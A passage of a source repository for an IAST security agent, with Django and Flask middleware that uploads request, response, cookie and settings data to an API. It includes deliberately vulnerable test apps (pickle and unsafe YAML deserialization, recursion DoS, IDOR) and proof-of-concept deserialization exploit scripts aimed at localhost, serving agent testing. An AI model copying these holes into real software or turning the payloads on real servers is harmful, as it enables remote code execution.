immunity_agent.request.django_request import DjangoRequest 18 | from immunity_agent.response.django_response import DjangoResponse 19 | 20 | logger = logger_config("Immunity Django middleware") 21 | 22 | 23 | class ImmunityDjangoMiddleware: # pylint: disable=too-few-public-methods 24 | """ 25 | Промежуточное ПО для инструментирования фреймворка Django. 26 | 27 | Этот класс реализует промежуточное ПО для фреймворка Django, 28 | которое интегрирует агент Immunity IAST для мониторинга и анализа 29 | запросов и ответов. 30 | 31 | :param get_response: Функция, возвращающая ответ на запрос. 32 | :type get_response: Callable[[HttpRequest], HttpResponse] 33 | """ 34 | 35 | def __init__(self, get_response: callable): 36 | """ 37 | Конструктор класса. 38 | 39 | Устанавливает функцию получения ответа и создает экземпляр клиента API. 40 | 41 | :param get_response: Функция, возвращающая ответ на запрос. 42 | :type get_response: Callable[[HttpRequest], HttpResponse] 43 | """ 44 | self.get_response = get_response 45 | self.api_client = Client() 46 | self.project = self.api_client.project 47 | self.control_flow = None 48 | logger.info("Агент Immunity IAST активирован.") 49 | 50 | self.api_client.upload_config(json.dumps(self._extract_settings()), self.project, "django") 51 | self.api_client.upload_dependencies(json.dumps({d.key: d.version for d in pkg_resources.working_set}), self.project) 52 | 53 | def __call__(self, request: Any) -> Any: 54 | """ 55 | Переопределяем метод вызова. 56 | 57 | Этот метод перехватывает запросы и ответы, собирает информацию о них и передает её в API. 58 | 59 | :param request: Объект запроса. 60 | :type request: HttpRequest 61 | :return: Ответ. 62 | :rtype: HttpResponse 63 | """ 64 | # flowchart: start 65 | logger.info(f"Отслеживаю запрос {request.path}") # flowchart: start 66 | self.control_flow = ControlFlowBuilder(project_root=str(settings.BASE_DIR)) 67 | sys.settrace(self.control_flow.trace_calls) 68 | 69 | response = self.get_response(request) 70 | 71 | sys.settrace(None) 72 | 73 | self.api_client.upload_context( 74 | request.path, 75 | self.project, 76 | DjangoRequest.serialize(request), 77 | self.control_flow.serialize(), 78 | DjangoResponse.serialize(response), 79 | ) 80 | # flowchart: end 81 | 82 | return response 83 | 84 | def _extract_settings(self): 85 | """ 86 | Динамически извлекает настройки из Django-проекта. 87 | :return: Словарь с настройками. 88 | """ 89 | settings_dict = { 90 | setting: getattr(settings, setting) 91 | for setting in dir(settings) 92 | if setting.isupper() 93 | } 94 | 95 | # Форматируем в строку 96 | settings_dict = {key: str(value) for key, value in settings_dict.items()} 97 | return settings_dict 98 | -------------------------------------------------------------------------------- /immunity_agent/middlewares/flask_middleware.py: -------------------------------------------------------------------------------- 1 | """ 2 | Промежуточное ПО для интеграции агента Immunity IAST с фреймворком Flask. 3 | 4 | Этот модуль предоставляет промежуточное программное обеспечение (middleware) для фреймворка Flask, 5 | которое позволяет интегрировать агент Immunity IAST для мониторинга и анализа запросов и ответов. 6 | """ 7 | 8 | import json 9 | import sys 10 | from io import BytesIO 11 | from typing import Any, Dict, List, Tuple 12 | from urllib.parse import parse_qs 13 | import pkg_resources 14 | 15 | from immunity_agent.api.client import Client 16 | from immunity_agent.control_flow import ControlFlowBuilder 17 | from immunity_agent.logger import logger_config 18 | 19 | logger = logger_config("Immunity Flask middleware") 20 | 21 | 22 | class ImmunityFlaskMiddleware: # pylint: disable=too-few-public-methods 23 | """ 24 | Промежуточное ПО для инструментирования фреймворка Flask. 25 | 26 | Этот класс реализует промежуточное ПО для фреймворка Flask, которое 27 | интегрирует агент Immunity IAST для мониторинга и анализа запросов 28 | и ответов. 29 | 30 | :param app: Экземпляр приложения Flask. 31 | :type app: Flask 32 | :param base_path: Базовый путь к приложению. 33 | :type base_path: str 34 | """ 35 | 36 | def __init__(self, app: object, app_object: object): 37 | """ 38 | Конструктор класса. 39 | 40 | Устанавливает приложение Flask, базовый путь и создаёт экземпляр клиента API. 41 | 42 | :param app: Экземпляр приложения Flask. 43 | :type app: Flask 44 | :param base_path: Базовый путь к приложению. 45 | :type base_path: str 46 | """ 47 | self.app = app 48 | self.base_path = app_object.root_path 49 | self.api_client = Client() 50 | self.project = self.api_client.project 51 | self.status = None 52 | self.headers = None 53 | self.control_flow = None 54 | logger.info("Агент Immunity IAST активирован.") 55 | 56 | self.api_client.upload_config(json.dumps({key: str(value) for key, value in app_object.config.items()}), self.project, "flask") 57 | self.api_client.upload_dependencies(json.dumps({d.key: d.version for d in pkg_resources.working_set}), self.project) 58 | 59 | def __call__(self, environ: Dict[str, str], start_response: callable) -> bytes: 60 | """ 61 | Переопределяем метод вызова. 62 | 63 | Этот метод перехватывает запросы и ответы, собирает информацию о них и передает её в API. 64 | 65 | :param environ: Словарь окружения WSGI. 66 | :type environ: Dict[str, str] 67 | :param start_response: Функция начала ответа. 68 | :type start_response: Callable[[str, List[Tuple[str, str]], Any], None] 69 | :return: Ответ. 70 | :rtype: bytes 71 | """ 72 | # Перехват входящего запроса 73 | request_info = self._capture_request(environ) 74 | 75 | # Буфер для записи ответа 76 | response_body = [] 77 | 78 | def custom_start_response( 79 | response_status: str, 80 | response_headers: List[Tuple[str, str]], 81 | exc_info: Any = None, 82 | ) -> None: 83 | """ 84 | Модификация функции начала ответа для сохранения статуса и заголовков. 85 | 86 | :param response_status: Статус ответа. 87 | :type response_status: str 88 | :param response_headers: Заголовки ответа. 89 | :type response_headers: List[Tuple[str, str]] 90 | :param exc_info: Информация об исключении. 91 | :type exc_info: Any 92 | """ 93 | # Сохранение данных о статусе и заголовках 94 | self.status = response_status 95 | self.headers = response_headers 96 | # Передача управления оригинальному start_response 97 | return start_response(response_status, response_headers, exc_info) 98 | 99 | self.control_flow = ControlFlowBuilder(project_root=self.base_path) 100 | sys.settrace(self.control_flow.trace_calls) 101 | 102 | # Вызов приложения с модифицированным start_response 103 | app_iter = self.app(environ, custom_start_response) 104 | 105 | try: 106 | # Сбор ответа из app_iter 107 | for data in app_iter: 108 | response_body.append(data) 109 | yield data 110 | finally: 111 | # Закрываем итератор, если он поддерживает метод close() 112 | if hasattr(app_iter, "close"): 113 | app_iter.close() 114 | 115 | # Анализируем полный ответ (после сборки всего тела) 116 | response_data = b"".join(response_body) 117 | response_info = self._capture_response(self.status, self.headers, response_data) 118 | 119 | self.api_client.upload_context( 120 | request_info["path"], 121 | self.project, 122 | json.dumps(request_info), 123 | self.control_flow.serialize(), 124 | json.dumps(response_info), 125 | ) 126 | 127 | def _capture_request(self, environ: Dict[str, str]) -> Dict[str, any]: 128 | """ 129 | Сбор информации о запросе из WSGI environ. 130 | 131 | :param environ: Словарь окружения WSGI. 132 | :type environ: Dict[str, str] 133 | :return: Информация о запросе. 134 | :rtype: Dict[str, any] 135 | """ 136 | request_info = { 137 | "method": environ.get("REQUEST_METHOD"), 138 | "path": environ.get("PATH_INFO"), 139 | "query": parse_qs(environ.get("QUERY_STRING", "")), 140 | "headers": self._extract_headers(environ), 141 | } 142 | 143 | # Чтение тела запроса 144 | try: 145 | request_body = environ["wsgi.input"].read( 146 | int(environ.get("CONTENT_LENGTH", 0) or 0) 147 | ) 148 | environ["wsgi.input"] = self._reset_stream(request_body) # Сохраняем поток 149 | request_info["body"] = request_body.decode("utf-8") 150 | except Exception: # pylint: disable=broad-except 151 | request_info["body"] = None 152 | 153 | return request_info 154 | 155 | def _capture_response( 156 | self, status: str, headers: List[Tuple[str, str]], body: bytes 157 | ) -> Dict[str, any]: 158 | """ 159 | Сбор информации об ответе. 160 | 161 | :param status: Статус ответа. 162 | :type status: str 163 | :param headers: Заголовки ответа. 164 | :type headers: List[Tuple[str, str]] 165 | :param body: Тело ответа. 166 | :type body: bytes 167 | :return: Информация об ответе. 168 | :rtype: Dict[str, any] 169 | """ 170 | return { 171 | "status": status, 172 | "headers": dict(headers), 173 | "body": body.decode("utf-8") if body else None, 174 | } 175 | 176 | def _extract_headers(self, environ: Dict[str, str]) -> Dict[str, str]: 177 | """ 178 | Извлечение заголовков из WSGI environ. 179 | 180 | :param environ: Словарь окружения WSGI. 181 | :type environ: Dict[str, str] 182 | :return: Заголовки запроса. 183 | :rtype: Dict[str, str] 184 | """ 185 | return { 186 | key[5:]: value for key, value in environ.items() if key.startswith("HTTP_") 187 | } 188 | 189 | def _reset_stream(self, body: bytes) -> BytesIO: 190 | """ 191 | Восстанавливает wsgi.input поток после чтения. 192 | 193 | :param body: Данные тела запроса. 194 | :type body: bytes 195 | :return: Поток байтов. 196 | :rtype: BytesIO 197 | """ 198 | return BytesIO(body) 199 | -------------------------------------------------------------------------------- /immunity_agent/request/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/request/__init__.py -------------------------------------------------------------------------------- /immunity_agent/request/django_request.py: -------------------------------------------------------------------------------- 1 | """ 2 | Класс для сериализации запросов в фреймворке Django. 3 | 4 | Этот модуль предоставляет функциональность для сериализации запросов в фреймворке Django, 5 | что позволяет передавать данные в API для дальнейшего анализа. 6 | """ 7 | 8 | import json 9 | from typing import Any, Dict, Union 10 | 11 | from immunity_agent.logger import logger_config 12 | 13 | logger = logger_config("Immunity Django request handler") 14 | 15 | 16 | class DjangoRequest: 17 | """ 18 | Класс, описывающий логику сериализации Django-запросов. 19 | 20 | Этот класс предоставляет методы для преобразования объектов запросов Django в JSON-формат, 21 | что позволяет отправлять данные в API для последующего анализа. 22 | 23 | :param request: Объект запроса Django. 24 | :type request: HttpRequest 25 | """ 26 | 27 | @staticmethod 28 | def serialize_request_item( 29 | request_components_dict: Dict[str, Union[str, Any]] 30 | ) -> Dict[str, str]: 31 | """ 32 | Метод, возвращающий сериализованные компоненты запроса. 33 | 34 | Этот метод преобразовывает значения компонентов запроса в строку и возвращает результат. 35 | 36 | :param request_components_dict: Словарь компонентов запроса. 37 | :type request_components_dict: Dict[str, Union[str, Any]] 38 | :return: Сериализованная версия компонентов запроса. 39 | :rtype: Dict[str, str] 40 | """ 41 | result = {} 42 | for key, value in request_components_dict.items(): 43 | result[key] = str(value) 44 | return result 45 | 46 | @staticmethod 47 | def serialize(request: object, indentation: int = None) -> str: 48 | """ 49 | Метод, возвращающий сериализованную версию запроса. 50 | 51 | Этот метод объединяет все компоненты запроса в единый JSON-объект и возвращает его. 52 | 53 | :param request: Объект запроса Django. 54 | :type request: HttpRequest 55 | :param indentation: Уровень отступа для форматированного вывода. 56 | :type indentation: int 57 | :return: Сериализованный запрос в формате JSON. 58 | :rtype: str 59 | """ 60 | return json.dumps( 61 | { 62 | "method": request.method, 63 | "path": request.path, 64 | "body": str(request.body), 65 | "headers": DjangoRequest.serialize_request_item(request.headers), 66 | "user": str(request.user), 67 | "GET": request.GET.dict(), 68 | "POST": request.POST.dict(), 69 | "COOKIES": request.COOKIES, 70 | "FILES": request.FILES.dict(), 71 | "META": DjangoRequest.serialize_request_item(request.META), 72 | }, 73 | indent=indentation, 74 | ) 75 | -------------------------------------------------------------------------------- /immunity_agent/response/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/response/__init__.py -------------------------------------------------------------------------------- /immunity_agent/response/django_response.py: -------------------------------------------------------------------------------- 1 | """ 2 | Класс для сериализации ответов в фреймворке Django. 3 | 4 | Этот модуль предоставляет функциональность для сериализации ответов в фреймворке Django, 5 | что позволяет передавать данные в API для дальнейшего анализа. 6 | """ 7 | 8 | import json 9 | from typing import Any, Dict, Union 10 | 11 | from django.http import HttpResponse 12 | 13 | from immunity_agent.logger import logger_config 14 | 15 | logger = logger_config("Immunity Django response handler") 16 | 17 | 18 | class DjangoResponse: 19 | """ 20 | Класс, описывающий логику сериализации Django-ответов. 21 | 22 | Этот класс предоставляет методы для преобразования объектов ответов Django в JSON-формат, 23 | что позволяет отправлять данные в API для последующего анализа. 24 | 25 | :param response: Объект ответа Django. 26 | :type response: HttpResponse 27 | """ 28 | 29 | @staticmethod 30 | def serialize_response_item( 31 | response_components_dict: Dict[str, Union[str, Any]] 32 | ) -> Dict[str, str]: 33 | """ 34 | Метод, возвращающий сериализованные компоненты ответа. 35 | 36 | Этот метод преобразовывает значения компонентов ответа в строку и возвращает результат. 37 | 38 | :param response_components_dict: Словарь компонентов ответа. 39 | :type response_components_dict: Dict[str, Union[str, Any]] 40 | :return: Сериализованная версия компонентов ответа. 41 | :rtype: Dict[str, str] 42 | """ 43 | result = {} 44 | for key, value in response_components_dict.items(): 45 | result[key] = str(value) 46 | return result 47 | 48 | @staticmethod 49 | def serialize(response: HttpResponse, indentation: int = None) -> str: 50 | """ 51 | Метод, возвращающий сериализованную версию ответа. 52 | 53 | Этот метод объединяет все компоненты ответа в единый JSON-объект и возвращает его. 54 | 55 | :param response: Объект ответа Django. 56 | :type response: HttpResponse 57 | :param indentation: Уровень отступа для форматированного вывода. 58 | :type indentation: int 59 | :return: Сериализованный ответ в формате JSON. 60 | :rtype: str 61 | """ 62 | return json.dumps( 63 | { 64 | "status": response.status_code, 65 | "headers": DjangoResponse.serialize_response_item(response.headers), 66 | "body": str(response.content), 67 | "content_type": response.get("content-type"), 68 | "content_length": response.get("content-length"), 69 | "charset": response.get("charset"), 70 | "version": response.get("version"), 71 | "reason_phrase": response.reason_phrase, 72 | "cookies": DjangoResponse.serialize_response_item(response.cookies), 73 | "streaming": response.streaming, 74 | }, 75 | indent=indentation, 76 | ) 77 | -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings") 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == "__main__": 22 | main() 23 | -------------------------------------------------------------------------------- /polysploit/django/conf/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/conf/__init__.py -------------------------------------------------------------------------------- /polysploit/django/conf/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for conf project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/5.1/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /polysploit/django/conf/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for conf project. 3 | 4 | Generated by 'django-admin startproject' using Django 5.1.5. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/5.1/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/5.1/ref/settings/ 11 | """ 12 | 13 | from pathlib import Path 14 | 15 | # Build paths inside the project like this: BASE_DIR / 'subdir'. 16 | BASE_DIR = Path(__file__).resolve().parent.parent 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/5.1/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = "django-insecure-v_-kkpk*o3et&t*&3ayl6bpmm@i3q=fj(4l!kr&+iutm4@g^ys" 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = ['*'] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | "django.contrib.admin", 35 | "django.contrib.auth", 36 | "django.contrib.contenttypes", 37 | "django.contrib.sessions", 38 | "django.contrib.messages", 39 | "django.contrib.staticfiles", 40 | "example" 41 | ] 42 | 43 | MIDDLEWARE = [ 44 | "django.middleware.security.SecurityMiddleware", 45 | "django.contrib.sessions.middleware.SessionMiddleware", 46 | "django.middleware.common.CommonMiddleware", 47 | "django.middleware.csrf.CsrfViewMiddleware", 48 | "django.contrib.auth.middleware.AuthenticationMiddleware", 49 | "django.contrib.messages.middleware.MessageMiddleware", 50 | "django.middleware.clickjacking.XFrameOptionsMiddleware", 51 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" 52 | ] 53 | 54 | ROOT_URLCONF = "conf.urls" 55 | 56 | TEMPLATES = [ 57 | { 58 | "BACKEND": "django.template.backends.django.DjangoTemplates", 59 | "DIRS": [], 60 | "APP_DIRS": True, 61 | "OPTIONS": { 62 | "context_processors": [ 63 | "django.template.context_processors.debug", 64 | "django.template.context_processors.request", 65 | "django.contrib.auth.context_processors.auth", 66 | "django.contrib.messages.context_processors.messages", 67 | ], 68 | }, 69 | }, 70 | ] 71 | 72 | WSGI_APPLICATION = "conf.wsgi.application" 73 | 74 | 75 | # Database 76 | # https://docs.djangoproject.com/en/5.1/ref/settings/#databases 77 | 78 | DATABASES = { 79 | "default": { 80 | "ENGINE": "django.db.backends.sqlite3", 81 | "NAME": BASE_DIR / "db.sqlite3", 82 | } 83 | } 84 | 85 | 86 | # Password validation 87 | # https://docs.djangoproject.com/en/5.1/ref/settings/#auth-password-validators 88 | 89 | AUTH_PASSWORD_VALIDATORS = [ 90 | { 91 | "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", 92 | }, 93 | { 94 | "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", 95 | }, 96 | { 97 | "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", 98 | }, 99 | { 100 | "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", 101 | }, 102 | ] 103 | 104 | 105 | # Internationalization 106 | # https://docs.djangoproject.com/en/5.1/topics/i18n/ 107 | 108 | LANGUAGE_CODE = "en-us" 109 | 110 | TIME_ZONE = "UTC" 111 | 112 | USE_I18N = True 113 | 114 | USE_TZ = True 115 | 116 | 117 | # Static files (CSS, JavaScript, Images) 118 | # https://docs.djangoproject.com/en/5.1/howto/static-files/ 119 | 120 | STATIC_URL = "static/" 121 | 122 | # Default primary key field type 123 | # https://docs.djangoproject.com/en/5.1/ref/settings/#default-auto-field 124 | 125 | DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" 126 | -------------------------------------------------------------------------------- /polysploit/django/conf/urls.py: -------------------------------------------------------------------------------- 1 | """ 2 | URL configuration for conf project. 3 | 4 | The `urlpatterns` list routes URLs to views. For more information please see: 5 | https://docs.djangoproject.com/en/5.1/topics/http/urls/ 6 | Examples: 7 | Function views 8 | 1. Add an import: from my_app import views 9 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 10 | Class-based views 11 | 1. Add an import: from other_app.views import Home 12 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 13 | Including another URLconf 14 | 1. Import the include() function: from django.urls import include, path 15 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 16 | """ 17 | 18 | import pickle 19 | from yaml import * 20 | import base64 21 | from django.contrib import admin 22 | from django.urls import path 23 | from django.views.decorators.csrf import csrf_exempt 24 | from django.http import HttpResponse 25 | from django.shortcuts import get_object_or_404, render 26 | from example.models import * 27 | 28 | import sys 29 | sys.setrecursionlimit(150000) 30 | 31 | @csrf_exempt 32 | def vulnerable_view_1(request): 33 | 34 | if request.method == 'POST': 35 | data = request.POST.get('data') 36 | decoded_data = base64.b64decode(data.encode('utf-8')) 37 | # Десериализуем данные с помощью pickle 38 | deserialized_data = pickle.loads(decoded_data) 39 | return HttpResponse(f'Deserialized data: {deserialized_data}') 40 | else: 41 | return HttpResponse("Method not allowed") 42 | 43 | @csrf_exempt 44 | def vulnerable_view_2(request): 45 | 46 | if request.method == 'POST': 47 | data = request.POST.get('data') 48 | # Десериализуем данные с помощью yaml 49 | deserialized_data = unsafe_load(data) 50 | return HttpResponse(f'Deserialized data: {deserialized_data}') 51 | else: 52 | return HttpResponse("Method not allowed") 53 | 54 | def recursive_function(n): 55 | if n == 0: 56 | return 1 57 | else: 58 | return n * recursive_function(n - 1) 59 | 60 | def vulnerable_resource(request): 61 | 62 | n = int(request.GET.get('n', '10')) 63 | result = recursive_function(n) 64 | return HttpResponse(f'Factorial of {n}: {result}') 65 | 66 | def vulnerable_resource_2(request): 67 | 68 | num_reports = int(request.GET.get('num', '10')) 69 | for i in range(num_reports): 70 | report = Report() 71 | report.title = f'Report #{i}' 72 | report.content = 'Some content' 73 | report.save() 74 | 75 | return HttpResponse(f'{num_reports} reports generated') 76 | 77 | def view_profile(request, profile_id): 78 | 79 | profile = get_object_or_404(UserProfile, id=profile_id) 80 | context = { 81 | 'phone_number': profile.phone_number, 82 | } 83 | return HttpResponse(f'{context}') 84 | 85 | def view_profile_patched(request, profile_id): 86 | 87 | profile = get_object_or_404(UserProfile, id=profile_id, user=request.user) 88 | context = { 89 | 'phone_number': profile.phone_number, 90 | } 91 | return HttpResponse(f'{context}') 92 | 93 | urlpatterns = [ 94 | path("admin/", admin.site.urls), 95 | path("deserialize/1/", vulnerable_view_1), 96 | path("deserialize/2/", vulnerable_view_2), 97 | path("resource/1/", vulnerable_resource), 98 | path("resource/2/", vulnerable_resource_2), 99 | path("profile//", view_profile), 100 | path("get_profile//", view_profile_patched), 101 | ] 102 | -------------------------------------------------------------------------------- /polysploit/django/conf/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for conf project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/5.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /polysploit/django/example/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/example/__init__.py -------------------------------------------------------------------------------- /polysploit/django/example/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from .models import * 3 | 4 | admin.site.register(Report) 5 | admin.site.register(UserProfile) 6 | -------------------------------------------------------------------------------- /polysploit/django/example/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ExampleConfig(AppConfig): 5 | default_auto_field = "django.db.models.BigAutoField" 6 | name = "example" 7 | -------------------------------------------------------------------------------- /polysploit/django/example/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 5.1.5 on 2025-01-26 23:43 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [] 11 | 12 | operations = [ 13 | migrations.CreateModel( 14 | name="Report", 15 | fields=[ 16 | ( 17 | "id", 18 | models.BigAutoField( 19 | auto_created=True, 20 | primary_key=True, 21 | serialize=False, 22 | verbose_name="ID", 23 | ), 24 | ), 25 | ("title", models.CharField(max_length=255)), 26 | ("description", models.TextField(blank=True)), 27 | ("created_at", models.DateTimeField(auto_now_add=True)), 28 | ("updated_at", models.DateTimeField(auto_now=True)), 29 | ], 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /polysploit/django/example/migrations/0002_userprofile.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 5.1.5 on 2025-01-27 00:02 2 | 3 | import django.db.models.deletion 4 | from django.conf import settings 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ("example", "0001_initial"), 12 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 13 | ] 14 | 15 | operations = [ 16 | migrations.CreateModel( 17 | name="UserProfile", 18 | fields=[ 19 | ( 20 | "id", 21 | models.BigAutoField( 22 | auto_created=True, 23 | primary_key=True, 24 | serialize=False, 25 | verbose_name="ID", 26 | ), 27 | ), 28 | ("phone_number", models.CharField(max_length=15)), 29 | ( 30 | "user", 31 | models.OneToOneField( 32 | on_delete=django.db.models.deletion.CASCADE, 33 | to=settings.AUTH_USER_MODEL, 34 | ), 35 | ), 36 | ], 37 | ), 38 | ] 39 | -------------------------------------------------------------------------------- /polysploit/django/example/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/polysploit/django/example/migrations/__init__.py -------------------------------------------------------------------------------- /polysploit/django/example/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | from django.contrib.auth.models import User 3 | 4 | class UserProfile(models.Model): 5 | user = models.OneToOneField(User, on_delete=models.CASCADE) 6 | phone_number = models.CharField(max_length=15) 7 | 8 | class Report(models.Model): 9 | title = models.CharField(max_length=255) 10 | description = models.TextField(blank=True) 11 | created_at = models.DateTimeField(auto_now_add=True) 12 | updated_at = models.DateTimeField(auto_now=True) 13 | 14 | def __str__(self): 15 | return self.title 16 | -------------------------------------------------------------------------------- /polysploit/django/example/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /polysploit/django/example/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /polysploit/django/hacked.txt: -------------------------------------------------------------------------------- 1 | Hacked 2 | -------------------------------------------------------------------------------- /polysploit/django/hacked1.txt: -------------------------------------------------------------------------------- 1 | F_YAML 2 | -------------------------------------------------------------------------------- /polysploit/django/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings") 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == "__main__": 22 | main() 23 | -------------------------------------------------------------------------------- /polysploit/django_exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import pickle 3 | import base64 4 | import yaml 5 | 6 | # Определение вредоносного класса 7 | class Exploit(object): 8 | def __reduce__(self): 9 | return (__import__("os").system, ("echo Hacked > hacked.txt",)) 10 | 11 | class Exploit1(object): 12 | def __reduce__(self): 13 | return (__import__("os").system, ("echo F_YAML > hacked1.txt",)) 14 | 15 | # Сериализация объекта 16 | exploit_object = Exploit() 17 | serialized_exploit = pickle.dumps(exploit_object) 18 | encoded_exploit = base64.b64encode(serialized_exploit).decode('utf-8') 19 | 20 | # Отправка запроса 21 | url = 'http://127.0.0.1:8000/deserialize/1/' 22 | headers = {'Content-Type': 'application/x-www-form-urlencoded'} 23 | payload = {'data': encoded_exploit} 24 | response = requests.post(url, headers=headers, data=payload) 25 | 26 | exploit_object1 = Exploit1() 27 | exploit_yaml = yaml.dump(exploit_object1) 28 | url1 = 'http://127.0.0.1:8000/deserialize/2/' 29 | headers = {'Content-Type': 'application/x-www-form-urlencoded'} 30 | payload = {'data': exploit_yaml} 31 | response1 = requests.post(url1, headers=headers, data=payload) 32 | 33 | # Вывод ответа 34 | print(response1.text) 35 | -------------------------------------------------------------------------------- /polysploit/flask/app.py: -------------------------------------------------------------------------------- 1 | import flask 2 | from flask import jsonify, request 3 | import pickle 4 | from yaml import * 5 | from immunity_agent.middlewares.flask_middleware import ImmunityFlaskMiddleware 6 | import base64 7 | import sys 8 | sys.setrecursionlimit(150000) 9 | app = flask.Flask(__name__) 10 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app) 11 | 12 | @app.route('/deserialize/1/', methods=['POST']) 13 | def vulnerable_route_1(): 14 | 15 | data = request.form['data'] 16 | 17 | # Декодирование данных Base64 18 | decoded_data = base64.b64decode(data.encode('utf-8')) 19 | 20 | # Десериализация данных с помощью pickle 21 | try: 22 | deserialized_data = pickle.loads(decoded_data) 23 | return f"Десериализированные данные: {deserialized_data}" 24 | except Exception as e: 25 | return f"Ошибка десериализации: {e}", 500 26 | 27 | @app.route('/deserialize/2/', methods=['POST']) 28 | def vulnerable_route_2(): 29 | 30 | data = request.form['data'] 31 | # Десериализуем данные с помощью yaml 32 | deserialized_data = unsafe_load(data) 33 | return f'Deserialized data: {deserialized_data}' 34 | 35 | def recursive_function(n): 36 | if n == 0: 37 | return 1 38 | else: 39 | return n * recursive_function(n - 1) 40 | 41 | @app.route('/resource/1/', methods=['GET']) 42 | def resource(): 43 | 44 | n = int(request.args.get('n', default=10)) 45 | result = recursive_function(n) 46 | return f'Factorial of {n}: {result}' 47 | 48 | @app.route('/debug') 49 | def debug_mode(): 50 | 51 | app.config['DEBUG'] = True 52 | return 'Debug mode enabled' 53 | 54 | @app.route('/show_debug') 55 | def show_debug_mode(): 56 | 57 | return str(app.config['DEBUG']) 58 | 59 | if __name__ == "__main__": 60 | app.run(debug=False) 61 | -------------------------------------------------------------------------------- /polysploit/flask/hacked.txt: -------------------------------------------------------------------------------- 1 | Hacked 2 | -------------------------------------------------------------------------------- /polysploit/flask/hacked1.txt: -------------------------------------------------------------------------------- 1 | F_YAML 2 | -------------------------------------------------------------------------------- /polysploit/flask_exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import pickle 3 | import base64 4 | import yaml 5 | 6 | # Определение вредоносного класса 7 | class Exploit(object): 